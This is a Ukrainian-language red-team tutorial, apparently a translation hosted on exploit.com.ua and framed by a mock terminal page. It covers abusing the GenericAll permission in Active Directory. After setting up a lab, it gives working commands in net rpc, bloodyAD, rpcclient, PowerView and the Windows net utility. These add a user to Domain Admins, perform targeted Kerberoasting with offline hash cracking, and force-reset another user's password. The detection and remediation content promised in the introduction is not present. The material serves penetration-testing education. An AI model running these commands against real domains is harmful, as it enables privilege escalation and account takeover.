_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl__generic_all_permissions // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цій статті ми дослідимо, як зловмисники можуть експлуатувати GenericALL в Active Directory через списки керування доступом (DACL). Цей потужний дозвіл надає необмежений доступ до таких об’єктів, як облікові записи користувачів, дозволяючи супротивникам виконувати такі дії, як Kerberoasting, скидання паролів та маніпуляції з акаунтами.

Ми детально розглянемо налаштування лабораторії, необхідне для симуляції цих атак, і зіставимо ці методи з фреймворком MITRE ATT&CK, щоб зрозуміти задіяні техніки та тактики. Крім того, ми обговоримо механізми виявлення підозрілої активності, пов’язаної з атаками GenericALL, і надамо дієві рекомендації щодо усунення цих вразливостей. Цей огляд має на меті озброїти фахівців із безпеки знаннями, необхідними для розпізнавання цих поширених загроз та захисту від них.

Зміст

  • Зловживання AD-DACL – дозволи GenericALL
  • Ключові концепції DACL
  • Право GenericALL
  • Передумови
  • Налаштування лабораторії – Користувач має право GenericALL на групу адміністраторів домену (Domain Admin)
  • Фаза експлуатації I – Користувач має право GenericALL на групу
  • Bloodhound – Пошук слабких дозволів
  • Метод експлуатації – Маніпуляція обліковим записом (T1098)
  • Linux Net RPC – Samba
  • Linux Bloody AD
  • Команда Windows Net
  • Фаза експлуатації II – Користувач має право GenericALL на іншого користувача
  • Bloodhound – Пошук слабких дозволів
  • Кілька методів експлуатації
  • Kerberoasting
  • Linux Python-скрипт – TargetedKerberoast
  • Windows PowerShell-скрипт – PowerView
  • Зміна пароля
  • Linux Net RPC – Samba
  • Linux Net RPC – BloodyAD
  • Linux Net RPC – Rpcclient
  • Утиліта Windows Net
  • Windows PowerShell – PowerView
  • Windows PowerShell

Active Directory DACL

В Active Directory (AD) DACL (Discretionary Access Control List — Список вибіркового керування доступом) є компонентом дескриптора безпеки об’єкта. Він визначає, яким користувачам або групам дозволено (або заборонено) доступ до об’єкта, і які саме дії їм дозволено виконувати. По суті, він контролює, хто і що може робити з об’єктом, будь то обліковий запис користувача, комп’ютер, група чи будь-який інший об’єкт каталогу.

Ключові концепції DACL

Елементи керування доступом (ACEs): DACL складається з декількох записів ACE (Access Control Entries). Кожен ACE визначає конкретні права доступу для користувача або групи та вказує, який саме тип доступу (читання, запис, виконання тощо) дозволено або заборонено.

Дозволи (Permissions): Дозволи визначають конкретні дії, які користувач або група можуть виконувати над об’єктом. Ці дозволи можуть бути базовими, як-от читання чи запис в об’єкт, або більш складними, як-от зміна самих дозволів чи привласнення права власності.

Права (Rights): Права — це абстракція дозволів вищого рівня.

В Active Directory до поширених прав DACL належать:
  • GenericAll: Надає повний контроль над об’єктом (наприклад, зміна властивостей, скидання паролів тощо).
  • GenericWrite: Дозволяє змінювати деякі властивості об’єкта.
  • WriteDACL: Дозволяє користувачеві змінювати сам DACL, що потенційно веде до підвищення привілеїв.
  • WriteOwner: Надає можливість привласнити право власності на об’єкт, що дозволяє подальшу модифікацію дозволів.
  • ReadProperty: Дозволяє читати властивості об’єкта (наприклад, атрибути в об’єкті користувача).
  • AllExtendedRights: Надає спеціальні права для розширених операцій, таких як скидання паролів або ввімкнення делегування.
  • Delete: Надає можливість видалити об’єкт.
  • ReadDACL: Дозволяє переглядати дозволи доступу до об’єкта без можливості їх змінити.
  • ForceChangePassword: Дозволяє примусово змінити пароль користувача, не знаючи поточного.

Успадкування (Inheritance): DACL можуть успадковуватися від батьківських об’єктів. Це означає, що дозволи, встановлені на контейнер (наприклад, організаційний підрозділ — OU), можуть передаватися дочірнім об’єктам. Це спрощує керування, але також може призвести до появи небажаних дозволів, якщо конфігурація не була ретельно перевірена.

Дескриптор безпеки (Security Descriptor): DACL є частиною більшого дескриптора безпеки, який також включає Власника (об’єкт, який володіє правами на об’єкт і може змінювати його дозволи) та необов’язковий SACL (System Access Control List — системний список керування доступом), який контролює аудит.

Слабкі DACL можуть призвести до несанкціонованого доступу або підвищення привілеїв, якщо вони налаштовані неналежним чином.

Generic ALL Right

В Active Directory дозволи та привілеї визначають, які дії сутність (користувач, група або комп’ютер) може виконувати над іншим об’єктом. Привілей «Generic ALL» є одним із найпотужніших в AD, оскільки він надає повний контроль над цільовим об’єктом. Це означає, що користувач або група з цим привілеєм може:

  • Змінювати будь-який атрибут об’єкта
  • Скидати паролі
  • Додавати або видаляти членів груп
  • Делегувати подальший контроль іншим користувачам
  • Повністю видалити об’єкт

Через таке широке охоплення, атакуючий, який отримує привілеї «Generic ALL» на чутливі об’єкти (наприклад, привілейовані групи або сервісні облікові записи), може, по суті, отримати повне домінування в домені.

Експлуатація привілею «Generic ALL»

Ось як зловмисник може використати привілей «Generic ALL» для компрометації Active Directory:

  • Ідентифікація цілей із привілеєм «Generic ALL» Першим кроком є пошук об’єктів, на які зловмисник має цей привілей. Це можна зробити за допомогою таких інструментів, як BloodHound або PowerView, що візуалізують структуру Active Directory та показують зв’язки між привілеями. Після ідентифікації зловмисник може обрати ціль залежно від потенційного впливу (наприклад, обліковий запис адміністратора домену).
  • Скидання паролів Якщо привілей «Generic ALL» застосовано до облікового запису користувача, зловмисник може скинути його пароль. Це особливо небезпечно, якщо йдеться про привілейованого користувача, такого як адміністратор домену. Після скидання пароля зловмисник може увійти під цим обліковим записом і отримати повний контроль над доменом.
  • Модифікація членства в групах Якщо привілей «Generic ALL» надано на групу, зловмисник може додати себе до високопривілейованих груп, як-от Domain Admins або Enterprise Admins. Це надає йому привілеї цих груп, фактично передаючи контроль над усім доменом.
  • Зловживання делегованим керуванням Маючи привілей «Generic ALL», зловмисник може делегувати керування цільовим об’єктом іншому користувачу або групі. Це дозволяє йому надавати права собі або іншим шкідливим користувачам, не викликаючи миттєвої підозри.
  • Видалення або зміна об’єктів У критичних випадках зловмисник із «Generic ALL» може видалити важливі об’єкти, такі як сервісні акаунти або привілейовані користувачі, що спричинить збої в роботі або створить нові шляхи для подальшої експлуатації.

Передумови

  • Windows Server 2019 як Active Directory
  • Kali Linux
  • Інструменти: Bloodhound, Net RPC, Powerview, Rubeus
  • Windows 10/11 – як Client

Налаштування лабораторії – Користувач із правом GenericALL на групу Domain Admin

Створення середовища AD:

Для симуляції середовища Active Directory вам знадобиться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), з якої ви будете запускати інструменти для збору даних (enumeration) та експлуатації.

Контролер домену (Domain Controller):
  • Встановіть Windows Server (рекомендується версія 2016 або 2019).
  • Підвищіть роль сервера до контролера домену, додавши роль Active Directory Domain Services.
  • Налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
  • Створіть стандартний обліковий запис користувача з ім’ям Komal
net user komal Password@1 /add /domain

Надання привілею «Generic ALL» користувачу Komal:

Після того, як ваше середовище AD налаштовано, необхідно призначити право «Generic ALL» користувачу Komal щодо групи Domain Admins.

Кроки:

  • Відкрийте оснастку Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть відображення розширених функцій, натиснувши View (Вигляд) > Advanced Features (Розширені функції).
  • Знайдіть групу Domain Admins у контейнері Users.
  • Натисніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

               

  • Перейдіть на вкладку Security (Безпека) і натисніть Advanced (Додатково).

                Generic ALL Active Directory Abuse

  • Натисніть Add (Додати), потім виберіть користувача Komal.

               

  • У вікні Permissions Entry (Запис дозволів) виберіть This object and all descendant objects (Цей об’єкт та всі дочірні об’єкти).
  • У розділі Permissions (Дозволи) поставте галочку навпроти Full Control (Повний контроль) або виберіть безпосередньо Generic ALL, якщо цей пункт доступний окремо.
  • Застосуйте налаштування.

На цьому етапі Komal має права Generic ALL на групу Domain Admins, що означає, що вона може змінювати атрибути, скидати паролі або навіть додати саму себе до цієї групи.

Generic ALL Active Directory Abuse

Фаза експлуатації I – Користувач має право GenericALL на групу

Скомпрометований користувач: Komal

Цільовий об’єкт: Група Domain Admin

Тепер, коли лабораторія налаштована, розглянемо, як атакуючий (діючи від імені Komal) може зловживати привілеєм Generic ALL.

Припустимо, що спеціаліст Red Team знає облікові дані Komal (звичайного доменного користувача) і хоче перерахувати інших користувачів домену та членів групи адміністраторів за допомогою утиліти командного рядка net rpc (Samba).

net rpc user -U ignite.local/komal%'Password@1' -S 192.168.1.8
net rpc group members "Domain Admins" -U ignite.local/komal%'Password@1' -S 192.168.1.8

Після виконання вищезгаданої команди було з’ясовано, що користувач Administrator є єдиним членом групи адміністраторів. На жаль, тестувальник не знає облікових даних адміністратора.

Це класичний глухий кут для звичайного користувача, але не для того, хто має право Generic ALL. Оскільки Komal має повний контроль над групою, вона може самостійно змінити її склад.

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Komal дійсно має право Generic ALL на групу Domain Admins.

bloodhound-python -u komal -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

Generic ALL Active Directory Abuse

На основі графічного представлення у BloodHound, тестувальник хоче ідентифікувати вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

Таким чином, це підтверджує, що користувач Komal має привілей Generic ALL на групу Domain Admin, і надає кроки для проведення подальшої експлуатації.

Generic ALL Active Directory Abuse

Метод експлуатації – Маніпуляція обліковим записом (T1098)

1. Linux Net RPC – Samba

Тестувальник може зловжити цим дозволом, додавши користувача Komal до групи Domain Admin, а потім вивівши список членів цієї групи, щоб переконатися, що Komal стала адміністратором домену.

net rpc group addmem "Domain Admins" "komal" -U ignite.local/komal%'Password@1' -S 192.168.1.8

2. Linux Bloody AD

bloodyAD --host "192.168.1.8" -d "ignite.local" -u "komal" -p "Password@1" add groupMember "Domain Admins" "komal"

Таким чином, у властивостях користувача ми бачимо, що Komal стала учасником групи Domain Admin.

Generic ALL Active Directory Abuse

3. Windows Net command

net group "domain admins" komal /add /domain

Фаза експлуатації II – Користувач має право GenericALL на іншого користувача

Щоб налаштувати лабораторне середовище, де користувач Nishant має права Generic ALL на користувача Vipin, необхідно виконати кілька кроків. Цей процес передбачає налаштування дозволів в Active Directory (AD) таким чином, щоб Nishant міг маніпулювати атрибутами облікового запису Vipin.

Крок 1: Створіть два облікові записи користувачів AD
net user vipin Password@1 /add /domain
net user nishant Password@1 /add /domain

               

Крок 2: Призначте дозволи Generic ALL
  • Відкрийте Active Directory Users and Computers.
  • Перейдіть до облікового запису користувача Vipin.
  • Натисніть правою кнопкою миші на Vipin, виберіть Properties (Властивості).

                Generic ALL Active Directory Abuse

  • Перейдіть на вкладку Security (Безпека).
  • Натисніть Advanced (Додатково), а потім Add (Додати).

               

  • У полі «Enter the object name to select» введіть Nishant і натисніть Check Names.
  • Після додавання Nishant налаштуйте дозволи:
  • Позначте Generic All у списку дозволів (вам може знадобитися вибрати Full Control, щоб охопити всі права).

               

  • Переконайтеся, що параметр Applies to (Застосувати до) встановлено на This object only (Тільки цей об’єкт).

                Generic ALL Active Directory Abuse

Bloodhound – Пошук слабких дозволів

Пошук прямого керування об’єктами (First Degree Object Control) для користувача Nishant, як ми робили на попередніх етапах.

bloodhound-python -u nishant -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

З графа видно, що користувач Nishant має привілеї Generic ALL на користувача Vipin.

Generic ALL Active Directory Abuse

Крім того, Bloodhound допомагає пентестеру визначити можливі атаки з облікового запису Nishant: цей користувач може здійснювати такі атаки на домен, як Kerberoasting та Shadow Credentials.

Кілька методів експлуатації

1. T1558.003 – Kerberoasting

1.1 Linux Python Script – TargetedKerberoast

Скомпрометований користувач: Nishant: Password@123

Цільовий користувач: Vipin

Kerberoasting — це техніка атаки на сервісні облікові записи в середовищах Active Directory. Зловмисник, що має дозволи Generic ALL на об’єкт користувача, може скористатися можливістю запитувати сервісні квитки (TGS). Запитуючи TGS для сервісних акаунтів, атакуючий отримує зашифровані квитки, які містять хеш пароля сервісного облікового запису. Оскільки ці квитки можна витягти, а потім зламати офлайн (offline cracking), зловмисник потенційно може отримати доступ до облікових даних сервісного акаунта.

Атака базується на тому, що сервісні акаунти зазвичай мають підвищені привілеї, що дозволяє зловмиснику підвищити свій рівень доступу в мережі після зламу пароля. Ця експлуатація є особливо ефективною в середовищах, де для сервісних облікових записів використовуються слабкі паролі або такі, що легко вгадати.

Клонування інструменту Targeted Kerberoast

Щоб виконати цю атаку, спочатку клонуйте репозиторій targetedKerberoast з GitHub за допомогою наступної команди:

git clone https://github.com/ShutdownRepo/targetedKerberoast.git

Generic ALL Active Directory Abuse

./targetedKerberoast.py --dc-ip '192.168.1.8' -v -d 'ignite.local' -u 'nishant' -p 'Password@1'

Як ми бачили під час налаштування лабораторії, користувача vipin було додано як звичайний обліковий запис домену, який не має пов’язаного SPN. Python-скрипт модифікував атрибут користувача vipin, щоб встановити ім’я SPN, а потім витягнув (dump) хеш Krbtgt, який можна зламати методом перебору (brute-force) офлайн. Крім того, скрипт виконує крок з очищення слідів, видаляючи встановлене значення SPN з атрибутів користувача.

Цей тип атаки є ідеальним у випадках, коли зловмисник не бажає змінювати пароль цільового користувача (у нашому випадку — vipin), навіть якщо для скомпрометованого користувача ввімкнено привілей Generic ALL. Дійсно, цей крок створює набагато менше “шуму” (менш помітний для систем моніторингу), ніж зміна пароля будь-якого користувача.

Крім того, за допомогою John the Ripper та словника, наприклад RockYou, атакуючий може підібрати слабкий пароль методом брутфорсу.

Generic ALL Active Directory Abuse

1.2 Windows PowerShell Script-PowerView

Для виконання Kerberoasting за допомогою PowerView на машині Windows ви можете скористатися здатністю PowerView перераховувати сервісні облікові записи Active Directory, які мають імена учасників служби (SPN). Для цих SPN можна надіслати запит на отримання сервісних квитків (TGS), які потім можна зламати офлайн, щоб дізнатися облікові дані сервісного акаунта. Ось короткий огляд кроків:

Переконайтеся, що цільовий обліковий запис не має SPN, а потім встановіть SPN для отримання хешу KerbTGS
Get-DomainUser 'vipin' | Select serviceprincipalname
Set-DomainObject -Identity 'vipin' -Set @{serviceprincipalname='nonexistent/hackingarticles'}
$User = Get-DomainUser 'vipin'
$User | Get-DomainSPNTicket | f1

Злам хешу TGS за допомогою Rockyou.txt та інструменту Hashcat.

Generic ALL Active Directory Abuse

2. T1110.001 – Зміна пароля (Change Password)

2.1 Linux Net RPC – Samba
net rpc password vipin 'Password@987' -U ignite.local/nishant%'Password@1' -S 192.168.1.8

2.2 Linux Net RPC – BloodAD
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "nishant" -p "Password@1" set password "vipin" "Password@9876"

Generic ALL Active Directory Abuse

2.3 Linux Net RPC –Rpcclient
rpcclient -U ignite.local/nishant 192.168.1.8
setuserinfo vipin 23 Ignite@987

Generic ALL Active Directory Abuse

2.4 Windows Net Utility
net user Vipin Password@1234 /domain

2.5 Windows PowerShell -Powerview
$SecPassword = ConvertTo-SecureString 'Password@987' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ignite.localvipin', $SecPassword)

Generic ALL Active Directory Abuse

2.6 Windows PowerShell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'vipin' -AccountPassword $NewPassword

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...